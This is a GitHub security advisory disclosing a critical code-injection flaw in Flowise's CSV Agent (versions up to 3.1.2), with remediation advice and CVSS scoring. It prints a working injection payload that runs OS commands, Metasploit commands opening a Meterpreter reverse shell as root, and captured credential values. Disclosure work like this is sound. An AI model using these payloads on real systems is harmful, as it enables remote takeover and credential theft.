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This repository was archived by the owner on Aug 13, 2026. It is now read-only.

CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Critical
igor-magun-wd published GHSA-vmv7-4m6c-3cg5 Jul 29, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code:
base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-69255

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits